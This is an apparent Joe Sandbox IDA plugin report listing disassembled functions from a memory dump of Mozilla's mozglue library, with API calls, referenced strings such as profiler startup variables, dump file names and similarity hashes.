Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction ID: 13707dcf7659a4c0fed262672df32682d45a98fdb29045fd23dc09edd5f88b24
Opcode Fuzzy Hash: 213261594fa8c5d1224acf179fbd62d4096d76a789bdebf466780eedb0d67805
Instruction Fuzzy Hash: 1C414872A08708ABCB08DF78D85116FB7E5EF95744F14862DE85567B81EB30D844CB91

Function 6C9D9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9D985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9D987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9D98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9D98D9

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction ID: 1dafb3f66ae6d314c8fb4f216a0e2256e7fac932ac9025a3793d71e07b950014
Opcode Fuzzy Hash: 7abf87a9438c3945380e19f2441daddcd21cebbbc219343dd1e7148abb4540c9
Instruction Fuzzy Hash: 33313A71A002089FDB14AF58DC105EE77B9DF69718F10846DEA0AABB40CB31E904CBD1

Function 6C9B46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9B4721

Part of subcall function 6C964410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C9A3EBD,00000017,?,00000000,?,6C9A3EBD,?,?,6C9642D2), ref: 6C964444

Strings

profiler-paused, xrefs: 6C9B46E4
., xrefs: 6C9B476A
-%llu, xrefs: 6C9B4733

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction ID: 80762cc74343dcdfa33afdafba417fd7c612970d9ab57930f06ffdbfbf993f13
Opcode Fuzzy Hash: 3e2091ab2ee48506b7e173e6807c25f9fbf93286213b150564e0762c02c5d648
Instruction Fuzzy Hash: 8C313971F043086BCB08CF6DD8916AEBBE6DB99714F15853EE805ABB41EB74D804CB90

Function 6C9BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9BB127), ref: 6C9BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9BB4E4

Strings

pid:, xrefs: 6C9BB4DE

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction ID: 19db4a872ff07b1402e37ccabb8dec66e602556d17b7e1336408d050cbfbac8d
Opcode Fuzzy Hash: 6d8bfdee00752ec568ad9797f2bd4e25ca6ba81861aae19fad8f62f7669792d2
Instruction Fuzzy Hash: 0D310031A01208EBDB10DFA9D880AEFF7BABF19318F540529D90577A81D771E849CBA1

Function 6C9AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9AE577
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE584
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C9AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9AE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9AE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9AE826, 6C9AE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9AE777
MOZ_PROFILER_STARTUP, xrefs: 6C9AE5A1, 6C9AE5CC, 6C9AE5FF, 6C9AE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9AE722, 6C9AE750, 6C9AE7A2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction ID: 78658f2fab0ebc1ad77a058b98bde6b9157aa1217c24c5627b7282b1783d0f4e
Opcode Fuzzy Hash: 3accf483f66443af3c4f630d38eddaf027c1bd309114fed34e19c0abf40bceca
Instruction Fuzzy Hash: 1C117931A08358DFCB419F58D849B6ABBB8FFDD328F210A1AE84547A50E770E905CB95

Function 6C9B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0CD5

Part of subcall function 6C99F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C99F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B0D40
free.MOZGLUE ref: 6C9B0DCB

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

free.MOZGLUE ref: 6C9B0DDD
free.MOZGLUE ref: 6C9B0DF2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction ID: 8b983bc99712cfc5140259470240842a5327803dd420c5100f7f6785ce15d0c3
Opcode Fuzzy Hash: 99123d56d1ce58f359ce935a0152bdad80f29a21dfd603066dfe01869a223463
Instruction Fuzzy Hash: 764123B1908784ABD320CF29C18039EFBE5BFD8614F119A2EE8D897750D770E444CB92

Function 6C9A0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9A084C
EnterCriticalSection.KERNEL32(?), ref: 6C9A08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9A08BD
LeaveCriticalSection.KERNEL32(6C9EE7DC), ref: 6C9A08D5

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction ID: a813f7b15e1dcc3b9e544009029705fa8cd7c0232341bc12f2e24d0d48c589f0
Opcode Fuzzy Hash: 968a6438335ea0cc2a3ff124d58bdb870da9541ed59ef8f25afd0e41678e30f7
Instruction Fuzzy Hash: 7E21C831B052499BEF44CFA9D844BBE7379FF59708F600568D50AA7A41DF32E8058BD4

Function 6C9BCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDA4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD158
Part of subcall function 6C9BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9BCDBA,00100000,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCDC4

Part of subcall function 6C9B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9C15FC,?,?,?,?,6C9C15FC,?), ref: 6C9B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BCECC

Part of subcall function 6C97CA10: mozalloc_abort.MOZGLUE(?), ref: 6C97CAA2

Part of subcall function 6C9ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9BCEEA,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000), ref: 6C9ACB57
Part of subcall function 6C9ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C9ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9BCEEA,?,?), ref: 6C9ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?,00000000,?), ref: 6C9BD058

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction ID: 31068285d1fd8b870da35445bbf181121e32ac465c003c5278f603cd2707d883
Opcode Fuzzy Hash: df8cef1d09355a62d85274aa526c209b144e64842bce5385e02ffbdb903b887c
Instruction Fuzzy Hash: 05D16071A04B069FD708CF28C4807AAF7E1BF99308F11866DD85997751EB31E965CB81

Function 6C971720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9717B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9718EE
free.MOZGLUE(?), ref: 6C971911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97194C

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction ID: 0c86f08b6a7ee8f3111056b613edbc703d83cce0602e80c73182d795dd26bc6a
Opcode Fuzzy Hash: 157cb656d656a33dfd614b44f11aa2c6ea8a4df44b64f29ac36a9c90bf840cfd
Instruction Fuzzy Hash: 9481DF70A162059FDB18CF68D8A49FEBBB1FF8A310F04456CE809AB754D730E945CBA1

Function 6C985C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C985D40
EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67
__aulldiv.LIBCMT ref: 6C985DB4
LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction ID: 3fe2f7f774e6951fc7d19af14216d5c8cc421bf6f0cee3203adabe93b306b5f8
Opcode Fuzzy Hash: 35ac45f7eb5519ca008ed872218e93c53c8c5dd14b324be03229c2c225659e3d
Instruction Fuzzy Hash: 56516172E051598FDF08CF68C854ABEBBB1FF99708F298A1ED811A7751C730A945CB90

Function 6C96CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C96CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C96CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C96CF4E

Strings

0, xrefs: 6C96CF30

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction ID: b66e5c6bad13fad089c54b9c3c27704874458323592a063f4434caad039d07f0
Opcode Fuzzy Hash: 6da283f7a76d8d5b919327a3786961eafe96866f6c0511171e570d5951cd4019
Instruction Fuzzy Hash: 6B512371A042568FCB01CF19C490A9AFBB5EF99300F19859DE8595F791D331ED06CBE0

Function 6C9C77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9C77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9C7829

Part of subcall function 6C99CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9631A7), ref: 6C99CC45
Part of subcall function 6C99CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9631A7), ref: 6C99CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9C789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9C78CF

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

Part of subcall function 6C964290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9A3EBD,6C9A3EBD,00000000), ref: 6C9642A9

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction ID: cecb7a913daaa3761154ec008c29e106a4275629ebcb251de418c538bfdfe8ba
Opcode Fuzzy Hash: 3ac145d0a82e15d89fdbc3a288ab12455608a5149450bbf0b8ea172577cf0736
Instruction Fuzzy Hash: 7C419171A047469BD300DF29C48056AFBF4FFEA254F604A6DE4A987680DB30D559CB92

Function 6C9A6470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C9A82BC,?,?), ref: 6C9A649B

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A64A9

Part of subcall function 6C99FA80: GetCurrentThreadId.KERNEL32 ref: 6C99FA8D
Part of subcall function 6C99FA80: AcquireSRWLockExclusive.KERNEL32(6C9EF448), ref: 6C99FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9A653F
free.MOZGLUE(?), ref: 6C9A655A

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction ID: 5bb3e00fefdcc33598867a9ff215f6eba394a3981c803a8c44895d20dab470ef
Opcode Fuzzy Hash: f0d3ab8e1784937207eef3f6994bbbbc24d96fbaa0036f253e7603e89c3ef75d
Instruction Fuzzy Hash: 773181B5A047059FD740CF14D88469EBBF4FF98314F10482DE85A97741D730E919CB92

Function 6C99FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C99FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C99FFF5
free.MOZGLUE(?,?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?), ref: 6C9A001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C9BD019,?,?,?,?,?,00000000,?,6C9ADA31,00100000,?,?), ref: 6C9A002A

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction ID: 9f2a68318919fe606da68b33717f06ac664957a5e69e71c841a9b1f70c56868c
Opcode Fuzzy Hash: 11547ef9570b59b362d869286ef39f70b267abfaabd803ffb6a49534e5d3e3e9
Instruction Fuzzy Hash: 1D210872A002165BD7189E78DC944AFF7BAEB993243290738E526D7780EB30ED1186D1

Function 6C97B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C97B4F5
AcquireSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B502
ReleaseSRWLockExclusive.KERNEL32(6C9EF4B8), ref: 6C97B542
free.MOZGLUE(?), ref: 6C97B578

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction ID: 1ab6b58d286778ffc99e30e480bb00447efd41ddfcb153d2f1ff8fdcebadb254
Opcode Fuzzy Hash: 79d489a35ddba773d0a4f855c95d5e953a08f385e82b22055424942d54ef4dac
Instruction Fuzzy Hash: F411A231909B45C7D7228F29D804765B3B5FFEA318F24570AD84953E01EBB1E1C587A4

Function 6C9A3DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C96F20E,?), ref: 6C9A3DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C96F20E,00000000,?), ref: 6C9A3DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9A3E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C9A3E0E

Part of subcall function 6C99CC00: GetCurrentProcess.KERNEL32(?,?,6C9631A7), ref: 6C99CC0D
Part of subcall function 6C99CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C9631A7), ref: 6C99CC16

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: ad472ba168f7cfd12e8830b651220116205bac26859fbe8703c48d815e5eb901
